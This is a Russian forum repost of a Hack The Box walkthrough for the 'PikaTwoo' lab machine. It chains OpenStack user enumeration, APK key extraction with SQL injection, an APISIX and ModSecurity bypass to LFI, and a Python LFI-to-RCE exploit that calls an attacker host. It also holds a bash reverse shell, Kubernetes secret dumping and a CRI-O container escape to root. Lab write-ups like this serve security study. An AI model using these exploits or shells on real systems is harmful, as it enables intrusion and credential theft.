• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья HTB PikaTwoo. Проходим одну из самых сложных машин c Hack The Box

stihl

Moderator
Регистрация
09.02.2012
Сообщения
1,178
Розыгрыши
0
Реакции
510
Deposit
0.228 BTC
stihl не предоставил(а) никакой дополнительной информации.
Эту тачку «безумного» уровня сложности я штурмовал почти три месяца. Чего здесь только не встретилось: уязвимость в OpenStack, реверс приложения для Android и подделка сертификатов, баг в Apache APISIX, атака на ModSecurity, которую удалось раскрутить до RCE... Под конец получаем доступ к ноде Kubernetes, сливаем секреты и эксплуатируем баг в minikube CRI-O. В общем, скучно не будет!

warning​

Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.

Разведка​


Сканирование портов​

Перво‑наперво добавляем IP-адрес машины к себе в /etc/hosts:


10.10.11.199 pikatwoo.htb
И запускаем сканирование портов.

Справка: сканирование портов​

Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:

Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Для просмотра ссылки Войди или Зарегистрируйся
Результат работы скрипта
Результат работы скрипта
Сканер нашел много открытых портов:
  • 22 — служба OpenSSH 8.4p1;
  • 80 и 8080 — веб‑сервер Nginx 1.18.0;
  • 443 — тоже веб‑сервер, поле сертификата commonName раскрывает новый домен api.pokatmon-app.htb;
  • 4369 — служба Erlang Port Mapper; сканер заодно показывает нам динамический порт ноды Rabbit — 25672 (также открыт);
  • 5000 — очередной веб‑сервер, выполняющий редирект на новый домен pikatwoo.pokatmon.htb;
  • 5672 — служба RabbitMQ 3.8.9;
  • 35357 — веб‑сервер, выполняющий редирект на домен pikatwoo.htb.
Первым делом для новых доменов создаем запись в /etc/hosts и проверяем сайты.

10.10.11.199 pikatwoo.htb pokatmon-app.htb api.pokatmon-app.htb pokatmon.htb pikatwoo.pokatmon.htb
Запрос на порт 80 приводит нас на сайт Pokatdex со списком героев. Но при выборе любого из них получаем ошибку в формате JSON.

Главная страница сайта http://pokatmon.htb
Главная страница сайта Для просмотра ссылки Войди или Зарегистрируйся
Ошибка при выборе персонажа
Ошибка при выборе персонажа
HTTPS-сервер сразу вернул ошибку, зато на порте 35357 работает OpenStack.

Ошибка на сайте https://pokatmon-app.htb
Ошибка на сайте Для просмотра ссылки Войди или Зарегистрируйся
Ответ сервера на порте 35357
Ответ сервера на порте 35357
По запросу «OpenStack ports» Для просмотра ссылки Войди или Зарегистрируйся дает понять, что на порте 5000 работает сервис Keystone, а порт 8080 отвечает за Swift (OpenStack Object Storage). Для проверки сделаем запросы к обоим сервисам.

curl -s [URL]http://10.10.11.199:8080/info[/URL] | jq .
Информация о сервисе Swift OpenStack
Информация о сервисе Swift OpenStack
curl [URL]http://10.10.11.199:5000/[/URL] -s | jq .
Информация о сервисе Keystone OpenStack
Информация о сервисе Keystone OpenStack
Поскольку Burp Suite автоматически строит карту сайта, видим, что на pokatmon.htb доступен файл CHANGELOG, из которого узнаём о существовании некоего приложения для Android, а также WAF ModSecurity.

Карта сайта
Карта сайта
Мы знаем версии установленного ПО, поэтому можем попробовать поискать в интернете описания уязвимостей и эксплоиты.

Точка входа​


OpenStack Keystone​

Служба Keystone входит в облачную платформу OpenStack и обеспечивает аутентификацию клиентов API, обнаружение служб и распределенную многопользовательскую авторизацию. В случае с Keystone поиск эксплоитов оказался нелегкой задачей, но все же находим уязвимость с идентификатором CVE-2021-38155, которая позволит определить существующих пользователей.

Для просмотра ссылки Войди или Зарегистрируйся
Суть бага в том, что если мы попробуем несколько раз авторизоваться от имени существующего пользователя, то он будет на время заблокирован и нам вернут соответствующее сообщение. Для имени пользователя, аккаунта которого не существует, мы такого сообщения не получим. Возьмем список имен из набора Для просмотра ссылки Войди или Зарегистрируйся и попробуем авторизоваться с каждым из имен и десятью разными паролями с помощью Burp Intruder. Для авторизации используем запрос к /v3/auth/tokens со следующими данными.

Код:
{
    "auth": {
        "identity":{
            "methods":["password"],
            "password":{
                "user":{
                    "password":"§admin§",
                    "name":"§admin§",
                    "domain":{
                        "id":"default"
}}}}}}
Burp Intruder — вкладка Positions
Burp Intruder — вкладка Positions
Результат перебора
Результат перебора
В итоге получаем двух пользователей: admin и andrew. Перебор паролей ничего не дает, поэтому переходим к другому сервису.

OpenStack Object Store (Swift) — ПО для облачного хранилища, позволяющее хранить и извлекать большое количество данных с помощью простого API. По запросу «keystone swift» получаем Для просмотра ссылки Войди или Зарегистрируйся, из которой узнаём о том, что можно получить доступ к открытым данным, зная только имя пользователя и используя префикс AUTH_. Попробуем перебрать хранилище пользователя andrew.

ffuf -u [URL]http://10.10.11.199:8080/v1/AUTH_andrew/FUZZ[/URL] -t 256 -w directory_2.3_medium_lowercase.txt -ac
Результат перебора каталога
Результат перебора каталога
Получаем один каталог, который содержит приложение для Android.

Файлы в каталоге android
Файлы в каталоге android
Видимо, это приложение, которое упоминалось в ченжлоге. Скачиваем его для анализа.


Точка опоры​


Анализ APK​

В качестве виртуальной машины я использую AVD из Android Studio. После запуска виртуального смартфона проверим, определилось ли устройство в adb.

adb devices
Устройства adb
Устройства adb
Теперь с помощью adb установим скачанное приложение и запустим уже с мобильного устройства.

adb install pokatmon-app.apk
Главное окно приложения
Главное окно приложения

Нас встречает форма авторизации, но, введя тестовые данные, мы не получаем доступ к серверу.

Ошибка приложения
Ошибка приложения

На хостовой системе запускаем Wireshark и смотрим, куда идут запросы. В трафике отмечаем DNS-запрос для резолва api.pokatmon-app.htb.

Перехваченные пакеты в Wireshark
Перехваченные пакеты в Wireshark

В качестве своего DNS-сервера используем Для просмотра ссылки Войди или Зарегистрируйся. Для найденного адреса сделаем запись в файле /etc/dnsmasq.conf и запустим dnsmasq.

address=/api.pokatmon-app.htb/10.10.11.199
А теперь перезапустим виртуальную машину, но с указанием DNS-сервера и повторим запрос на сервер.

emulator -dns-server 10.10.16.46 -avd Pixel_3a_API_33_x86_64
Ошибка приложения
Ошибка приложения

Наконец приложение может общаться с сервером. Теперь пропустим весь его трафик через Burp Proxy, для чего в настройках Burp создадим новый листенер на VPN-интерфейсе. Созданный листенер указываем в настройках прокси AVD.

Настройки Burp — листенеры Proxy
Настройки Burp — листенеры Proxy
Настройки Proxy AVD
Настройки Proxy AVD
Но снова не получаем доступ к серверу. Причину можем посмотреть в логах Burp Proxy. Все дело в SSL-сертификате.

Логи Burp Proxy
Логи Burp Proxy
Чтобы ошибка исчезла, нам нужно установить сертификат Burp в виртуальное устройство. Для этого сначала скачиваем сам сертификат, конвертируем его в формат PEM и переименовываем. В Android имя сертификата — это его контрольная сумма.

Код:
wget localhost:8080/cert -O cert.der
openssl x509 -inform der -in cert.der -out cert.pem
openssl x509 -inform pem -subject_hash_old -in cert.pem
cp cert.pem 9a5ba575.0
Вычисление контрольной суммы сертификата
Вычисление контрольной суммы сертификата

Теперь нужно сохранить наш серт в каталоге /system/etc/security/cacerts/ устройства. Но просто записать его не получится, так как файловая система виртуальной машины доступна только для чтения. Перезапустим виртуальную машину с параметром -writable-system.

emulator -dns-server 10.10.16.46 -avd Pixel_3a_API_33_x86_64 -writable-system
А затем «рутуем» устройство и перемонтируем основной каталог. Если все проходит успешно, сохраняем сертификат Burp.

Код:
adb root
adb remount
adb push 9a5ba575.0 /system/etc/security/cacerts/
Запись сертификата на Android
Запись сертификата на Android
Повторяем попытку авторизации и видим запрос в Burp Proxy.

Запросы в Burp Proxy
Запросы в Burp Proxy

Я сразу отправил запрос в Burp Repeater, но оказалось, что у сервера заготовлены разные варианты ответа. Как можно видеть на скрине, на запрос без заголовка authorization сервер ответит, что данные не подписаны. А при изменении данных запроса сервер сообщит о несоответствии подписи.

Запросы на сервер
Запросы на сервер

Тогда будем работать через само приложение. Я попробовал отправить базовую нагрузку ' or 1=1 -- -, это могло бы помочь обойти авторизацию, присутствуй здесь возможность для SQL-инъекции. Оказалось, что приложение не позволяет вводить некоторые символы.

Главное окно приложения
Главное окно приложения

Тогда придется понять, как формируется подпись. При просмотре содержимого APK-файла можно найти два ключа RSA.

Содержимое APK-файла
Содержимое APK-файла

Через две‑три попытки подписать отправляемые данные с помощью приватного ключа получаем валидную подпись!

echo -n "app_beta_mailaddr=[EMAIL]ralf@ralf.com[/EMAIL]&app_beta_code=1234" | openssl dgst -sha256 -sign private.pem | base64 -w0
Формирование подписи данных
Формирование подписи данных
Теперь подписываем данные с упомянутой ранее нагрузкой и делаем запрос на сервер.

Код:
echo -n "app_beta_mailaddr=' or 1=1 -- -&app_beta_code=1234" | openssl dgst -sha256 -sign private.pem | base64 -w0

curl -k -X POST -H 'authorization: signature=oZ3SEZMP1n2xRV33Ruf9NNmW5x19GHJv5+Af/akn2dMfnViDpuTd6gP6vm0Zz42pS0VS6B/ymJsgzoekc1QZAjMyoZh9Q+TxZ1MzFFCx2iqiVD27frr+Bblw83VVDKG3Nx/cKkk6NRHeotNQRPhGmQUQrHLPeFWybleMoN5O3qrFnuPehDnYJVheiVyAMyNnJl1Lm7RGXdEva6CEyssNqIqrApbATs8ZQFFsNZgyQKMZh5u6X1sLuVXiSTkYA3fnmwrEyMNzfuvCJU9LUx4sOGRO/Zv9bVhO3knlriRfXN1DPRDX3YePUzhQrdFNApo72yRnmtsecfVJ08sz/huSgQ==' 'https://api.pokatmon-app.htb/public/validate' --data "app_beta_mailaddr=' or 1=1 -- -&app_beta_code=1234" 2>/dev/null| jq
Ответ сервера
Ответ сервера
В ответе получаем почтовый адрес и ключ‑инвайт. С этими данными авторизуемся в приложении и получаем редирект на Для просмотра ссылки Войди или Зарегистрируйся.

Главное окно приложения
Главное окно приложения

Этот адрес мы уже посещали, там расположен основной сайт, при этом в Burp Proxy видим те же инвайт и почтовый ящик. Но обратим внимание и на веб‑сервер APISIX 2.10.1.

Ответ в Burp Proxy
Ответ в Burp Proxy

Обход каталога в Apache APISIX​

Поищем готовые эксплоиты для гейтвея APISIX. Запрос «apisix Vulnerabilities» приводит к Для просмотра ссылки Войди или Зарегистрируйся статей про уязвимости. Из всех упомянутых CVE наиболее применима Для просмотра ссылки Войди или Зарегистрируйся, которая даст возможность обхода каталога. Тут стоит вернуться к сканированию каталогов, так как изначально я не придал значения множеству результатов с кодом ответа 403.

Результат сканирования каталогов
Результат сканирования каталогов

Их объединяет наличие подстроки private в URI запроса. Дело в том, что URI блокируется благодаря проверке вхождения подстроки, а эту проверку можно обойти, если использовать обычное URL-кодирование.

Для просмотра ссылки Войди или Зарегистрируйся
Я проверил все каталоги, которые при предыдущем сканировании вернули 403, но ничего, кроме ответа 404, не получил. Тогда запускаем сканирование в каталоге /private/.

feroxbuster -k -u '[URL='https://api.pokatmon-app.htb/%70%72%69%76%61%74%65/']https://api.pokatmon-app.htb/private/[/URL]' -t 256 -w raft-large-words.txt -C 403
Для просмотра ссылки Войди или Зарегистрируйся
Нам доступны две новые конечные точки API: login и password-reset. Вторая требует указать email для сброса пароля.

curl -k '[URL='https://api.pokatmon-app.htb/%70%72%69%76%61%74%65/password-reset']https://api.pokatmon-app.htb/private/password-reset[/URL]'
Для просмотра ссылки Войди или Зарегистрируйся
Почтовый адрес мы получали при анализе APK-приложения. Указываем его и получаем какой‑то токен.

curl -k '[URL='https://api.pokatmon-app.htb/%70%72%69%76%61%74%65/password-reset/roger.foster37@freemail.htb']https://api.pokatmon-app.htb/private/password-reset/roger.foster37@freemail.htb[/URL]'
Ответ сервера
Ответ сервера
Переходим к API login, возможно, токен нужен будет где‑то там. Первое, что узнаём, — здесь используется только метод POST.

curl -k '[URL='https://10.10.11.199/%70%72%69%76%61%74%65/login']https://10.10.11.199/private/login[/URL]'
Ответ сервера
Ответ сервера
Затем постепенно определяем, что API принимает только почту и пароль.

Код:
curl -k -X POST 'https://10.10.11.199/private/login'
curl -k -X POST 'https://10.10.11.199/private/login' --data 'email=roger.foster37@freemail.htb'
curl -k -X POST 'https://10.10.11.199/private/login' --data 'email=roger.foster37@freemail.htb&password=123'
Ответ сервера
Ответ сервера
По аналогии выполним POST-запрос к API password-reset. Таким образом находим параметры token и new_password.

Код:
curl -k -X POST 'https://api.pokatmon-app.htb/private/password-reset/roger.foster37@freemail.htb'
curl -k -X POST 'https://api.pokatmon-app.htb/private/password-reset/roger.foster37@freemail.htb' --data 'token=a63ff73c6f79c8aa6dd40b62989f660832148b5c34882fceb55a481446d5ef17'
curl -k -X POST 'https://api.pokatmon-app.htb/private/password-reset/roger.foster37@freemail.htb' --data 'token=a63ff73c6f79c8aa6dd40b62989f660832148b5c34882fceb55a481446d5ef17&new_password=ralf'
Ответ сервера
Ответ сервера
После смены пароля переходим к главному сайту и авторизуемся через страницу /docs. Там получаем доступ к интерфейсу Swagger и новым API.

Swagger UI
Swagger UI

OWASP ModSecurity CRS — Request Body Bypass​

Из четырех API только в первом присутствует параметр, поэтому и разбирать будем только первый.

Запрос к API
Запрос к API
API расположен на неизвестном до этого момента домене, поэтому обновляем файл /etc/hosts и переносим запрос в curl.

Код:
10.10.11.199 pikatwoo.htb pokatmon-app.htb api.pokatmon-app.htb pokatmon.htb pikatwoo.pokatmon.htb pokatdex-api-v1.pokatmon-app.htb www.pokatmon-app.htb pokatdex-api-v1.pokatmon-app.htb
curl -X 'GET' "http://pokatdex-api-v1.pokatmon-app.htb/?region=test'"
Ответ сервера
Ответ сервера
В ответе видим упоминание отладки. Попробуем отправить такой параметр — по идее, он должен раскрыть информацию об ошибке.

Код:
curl -X 'GET' "http://pokatdex-api-v1.pokatmon-app.htb/?region=test'&debug=true"
Ответ сервера
Ответ сервера
Из ошибки узнаём о функции include(), которая подключает переданный в параметре region файл из каталога regions. Сразу пытаемся передать произвольный файл, но ничего не выходит.

Ответ сервера
Ответ сервера
Другие API дают однотипный вывод, поэтому через них ничего не получить.

Запрос к API /jiotto
Запрос к API /jiotto
Единственное, на что обращаем внимание, — это преобразование пути на сервере: так, запрос к эндпоинту /jiotto и запрос с параметром region=jiotto дают один и тот же ответ.

Код:
curl -X 'GET' "http://pokatdex-api-v1.pokatmon-app.htb/jiotto&debug=true"
curl -X 'GET' "http://pokatdex-api-v1.pokatmon-app.htb/?region=jiotto&debug=true"
Ответ сервера
Ответ сервера

На этом этапе я потратил очень много времени, но ничего не добился, пока на форуме мне не посоветовали посмотреть на OWASP CRS. OWASP ModSecurity Core Rule Set — это набор правил обнаружения атак, включая первую десятку OWASP, с помощью ModSecurity. И по запросу «OWASP CRS vulns» находим уязвимость Для просмотра ссылки Войди или Зарегистрируйся, которая очень хорошо описана в Для просмотра ссылки Войди или Зарегистрируйся. Дело в том, что CRS содержит набор исключений для популярных CMS вроде WordPress и Drupal, чтобы избежать ложных срабатываний. В описании уязвимости упоминается правило Для просмотра ссылки Войди или Зарегистрируйся, которое, по идее, должно быть активно, только если его включат, но из‑за неверной настройки активно всегда и отключает сканирование для определенных путей.

Для просмотра ссылки Войди или Зарегистрируйся
Находим первый путь в самом правиле Для просмотра ссылки Войди или Зарегистрируйся. В данном случае при запросе к URI, удовлетворяющему регулярному выражению /admin/content/assets/add/[az]+$, происходит проверка cookie, содержимое которого должно соответствовать другому регулярному выражению. Если проверка пройдена, то ModSecurity не проверяет передаваемые в запросе данные.

Для просмотра ссылки Войди или Зарегистрируйся
Выполним запрос к URI /admin/content/assets/add/a, при этом указываем куки SESSa=a, а параметры переносим из URI в область данных HTTP-запроса. В качестве региона указываем путь к файлу /etc/passwd.

curl [URL]http://pokatdex-api-v1.pokatmon-app.htb/admin/content/assets/add/a[/URL] -d "region=../../../../../../etc/passwd&debug=true" -b "SESSa=a"
Содержимое файла /etc/passwd
Содержимое файла /etc/passwd
Таким образом мы обошли контроль ModSecurity и раскрыли уязвимость LFI.


От Nginx LFI к RCE​

Найдя LFI, сразу перебираем интересные файлы Linux. Я делаю это через Burp Intruder. Из всего, что я перебрал, только файл /etc/hosts оказался интересным. Из него узнаём, что используется Kubernetes.

Для просмотра ссылки Войди или Зарегистрируйся
Так как у нас есть LFI и используется PHP в сочетании с веб‑сервером Nginx, мы можем попробовать получить удаленное выполнение кода. Используемая мной техника основана на свойстве Nginx создавать временные файлы для больших запросов. Попробуем выполнить запрос на свой сервер (запустив его командой python3 -m http.server 80) с помощью curl с удаленного сервера. Вот как выглядит эксплоит:
Код:
#!/usr/bin/env python3
import sys, threading, requests

URL = 'http://pokatdex-api-v1.pokatmon-app.htb/admin/content/assets/add/a'

headers = {
   "Content-Type": "application/x-www-form-urlencoded",
   "Cookie": "SESSa=a",
}
data = { "region": "../../../../../../proc/cpuinfo", "debug": "1" }

r = requests.post(URL, headers=headers, data=data)

cpus = r.text.count('processor')

data = {"region": "../../../../../../proc/sys/kernel/pid_max", "debug": "1"}

r = requests.post(URL, headers=headers, data=data)

pid_max = int(r.text)
print(f'[*] cpus: {cpus}; pid_max: {pid_max}')

nginx_workers = []
for pid in range(pid_max):
   data = {"region": "../../../../../../proc/" + str(pid)+"/cmdline", "debug": "1"}
   r = requests.post(URL, headers=headers, data=data)

   if b'nginx: worker process' in r.content:
       print(f'[*] nginx worker found: {pid}')

       nginx_workers.append(pid)
       if len(nginx_workers) >= cpus:
           break

done = False

def uploader():
   print('[+] starting uploader')
   while not done:
       requests.get(URL, data='<?php system("curl http://10.10.14.121/test_rce"); /' + 16*1024'A')

for _ in range(16):
   t = threading.Thread(target=uploader)
   t.start()

def bruter(pid):
   global done

   while not done:
       print(f'[+] brute loop restarted: {pid}')
       for fd in range(4, 32):
           data = {"region": "../../../../../../proc/self/fd/" + str(pid)+"/../../../"+str(pid)+"/fd/"+str(fd)+"", "debug": "1",}
           r = requests.post(URL, headers=headers, data=data)

           if "uid=" in r.text:
               print(f'[!] Result: {r.text}')
               done = True
               exit()

for pid in nginx_workers:
   a = threading.Thread(target=bruter, args=(pid, ))
   a.start()

Результат выполнения эксплоита
Результат выполнения эксплоита
Логи веб-сервера


Логи веб‑сервера
На наш веб‑сервер пришел запрос, а значит, запускаем листенер (pwncat-cs -lp 4321) и заменяем выполняемую в эксплоите команду следующей:

curl Для просмотра ссылки Войди или Зарегистрируйся
А в расположенный на сервере файл test_rce записываем реверс‑шелл:

bash -i >& /dev/tcp/10.10.16.46/4321 0>&1
Выполняем эксплоит и получаем долгожданную сессию.

Сессия пользователя www-data
Сессия пользователя www-data

Продвижение​

Мы попали в контейнер, а так как используется Kubernetes, сканируем локальную сеть на наличие открытого порта 8443. Для этого загружаем на хост Для просмотра ссылки Войди или Зарегистрируйся.

nmap -p8443 10.244.0.0/24 --open
Результат сканирования портов
Результат сканирования портов
Находим API сервера Kubernetes. Проверим наличие файлов доступа, таких как токен и сертификат, в каталоге /run/secrets/kubernetes.io/serviceaccount.

Содержимое каталога serviceaccount и файла token
Содержимое каталога serviceaccount и файла token
Из файла namespace узнаём пространство имен applications. Используя найденный токен, запросим все секреты из этого пространства имен.

./kubectl --token [token] --server [URL]https://10.244.0.1:8443/[/URL] --insecure-skip-tls-verify -n applications get secrets -o yaml
Для просмотра ссылки Войди или Зарегистрируйся
Секреты из пространства имен applications
Секреты из пространства имен applications

В поле release много данных, закодированных в Base64. Декодируем данные, сохраняем в файл и проверяем его тип командой file.

Проверка типа файла
Проверка типа файла
Это архив gzip. Просматривая данные, находим пару логин — пароль admin:admin, которая ничего нам не дает, а также адрес с учетными данными для сервиса evolution.pokatmon.htb:8888.

Учетные данные
Учетные данные
Адрес сервиса
Адрес сервиса
С полученным паролем пользователя andrew подключаемся по SSH и забираем первый флаг.

Флаг пользователя
Флаг пользователя

Локальное повышение привилегий​

Теперь нам необходимо собрать информацию. Я буду использовать для этого скрипты PEASS.

Справка: скрипты PEASS​

Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Для просмотра ссылки Войди или Зарегистрируйся (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
Загрузим на хост скрипт для Linux, дадим право на выполнение и запустим сканирование.

В каталоге пользователя jennifer есть файлы Kubernetes, в том числе файл с настройками .kube/config.

Файлы Kubernetes
Файлы Kubernetes
Также в папке jennifer лежит какой‑то шаблон.

Доступные для чтения файлы рута в домашних каталогах пользователей
Доступные для чтения файлы рута в домашних каталогах пользователей
Посмотрим версию minikube и конфиги из профиля jennifer.

dpkg -l | grep minikube
Версия minikube
Версия minikube
cat /home/jennifer/.minikube/profiles/minikube/config.json
Конфигурации minikube
Конфигурации minikube

Так как используется среда выполнения CRI-O, я сразу вспомнил про Для просмотра ссылки Войди или Зарегистрируйся. Этот метод LPE мы уже рассматривали в статье «Для просмотра ссылки Войди или Зарегистрируйся».

Kubernetes использует CRI-O для безопасного совместного использования ядра и ресурсов каждой ноды с различными работающими контейнерными приложениями. Ядро Linux принимает параметры времени выполнения, которые управляют его поведением. Kubernetes и управляемые им среды выполнения контейнеров позволяют модулям обновлять эти «безопасные» настройки ядра, блокируя доступ к другим.

Эта уязвимость позволяет обходить меры безопасности и устанавливать произвольные параметры ядра. Таким образом, любой, кто имеет права на развертывание модуля в кластере Kubernetes с CRI-O, может манипулировать параметром kernel.core_pattern для выхода из контейнера и выполнения произвольного кода от имени пользователя root на любом узле в кластере. Параметр ядра kernel.core_pattern указывает, какие действия в случае дампа ядра должно выполнить само ядро.

Первым делом сохраним скрипт /dev/shm/lpe.sh, который будет выполняться в привилегированном режиме и назначать бит SUID командной оболочке bash. Этот скрипт мы и указываем в параметре kernel.core_pattern.

Справка: бит SUID​

Когда у файла установлен атрибут setuid (S-атрибут), обычный пользователь, запускающий этот файл, получает повышение прав до пользователя — владельца файла в рамках запущенного процесса. После получения повышенных прав приложение может выполнять задачи, которые недоступны обычному пользователю. Из‑за возможности состояния гонки многие операционные системы игнорируют S-атрибут, установленный shell-скриптам.

Код:
/dev/shm/lpe.sh
#!/bin/bash
chmod u+s /bin/bash

А теперь используем вот такой шаблон для создания пода.

Код:
lpe.yaml
apiVersion: v1
kind: Pod
metadata:
  name: lpe
  namespace: development
spec:
  securityContext:
    sysctls:
    - name: kernel.shm_rmid_forced
      value: "1+kernel.core_pattern=|/dev/shm/lpe.sh #"
  containers:
  - name: lpe-container
    image: localhost/public-api
    command: ["tail", "-f", "/dev/null"]
kubectl apply -f lpe.yaml --kubeconfig=/home/jennifer/.kube/config

Для просмотра ссылки Войди или Зарегистрируйся
Теперь запускаем бесконечный процесс tail -f /dev/null & и получаем его PID. Затем убиваем процесс, чтобы вызвать аварийный дамп и выполнение скрипта /dev/shm/lpe.sh.

kill -SIGSEGV 1367544
Вызов триггера
Вызов триггера
После атаки проверяем атрибуты файла /bin/bash.

Проверка файла /bin/bash
Проверка файла /bin/bash
/bin/bash -p
Флаг рута
Флаг рута

У нас есть флаг рута, а это значит, что машина захвачена!
 
Activity
So far there's no one here
Сверху Снизу